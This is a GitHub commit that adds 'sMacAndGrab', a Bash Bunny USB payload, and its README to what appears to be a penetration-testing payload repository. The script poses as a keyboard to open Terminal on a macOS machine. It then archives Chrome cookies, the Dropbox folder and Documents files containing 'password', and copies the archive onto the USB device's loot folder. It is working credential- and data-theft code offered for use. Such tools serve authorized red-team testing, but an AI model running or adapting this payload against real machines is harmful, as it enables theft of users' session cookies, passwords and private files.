Merge pull request #36 from audibleblink/master

Added Dynamic macOS file backups payload
pull/48/head
Sebastian Kinne 2017-03-13 11:10:49 +11:00 committed by GitHub
commit f272fedbe1
2 changed files with 61 additions and 0 deletions

View File

@ -0,0 +1,39 @@
#!/bin/bash
#
# Title: sMacAndGrab
# Author: audibleblink
# Target: macOS
# Version: 1.0
#
# Backup a list of files from macOS
#
# Yellow (blinking)...Attacking
# Green...............Finished
LED G R 500
ATTACKMODE HID STORAGE
mkdir -p /root/udisk/loot/sMacAndGrab
# Unknown devices mount as NO NAME
dev_name="NO NAME"
lootdir="\"/Volumes/$dev_name/loot/sMacAndGrab\""
# Add your files here
files_to_copy=(
"\"~/Library/Application Support/Google/Chrome/Default/Cookies\"" # Quote paths with spaces
"~/Dropbox"
"\$(grep -lr password ~/Documents)" # Escape the subshell to have this run on TARGET
)
QUACK GUI SPACE
QUACK DELAY 1000
QUACK STRING terminal
QUACK ENTER
QUACK DELAY 4000
QUACK STRING tar -cf \$USER.tar.gz ${files_to_copy[*]}\; mv \$USER.tar.gz $lootdir\; killall Terminal
QUACK ENTER
sync
LED G

View File

@ -0,0 +1,22 @@
# sMacAndGrab
Author: audibleblink
Version: Version 1.0
Target: macOS
## Description
Mounts as storage and acts as HID. Backup a list of files to the BashBunny
## Configuration
Provide a newline-separated list of files you want to backup and wait for the green light.
You can also provide `find` and `grep` commands as literal strings to pass to QUACK which get run on TARGET.
## STATUS
| LED | Status |
| ---------------- | ------------------------------------- |
| Amber (blinking) | Attacking |
| Green | Finished |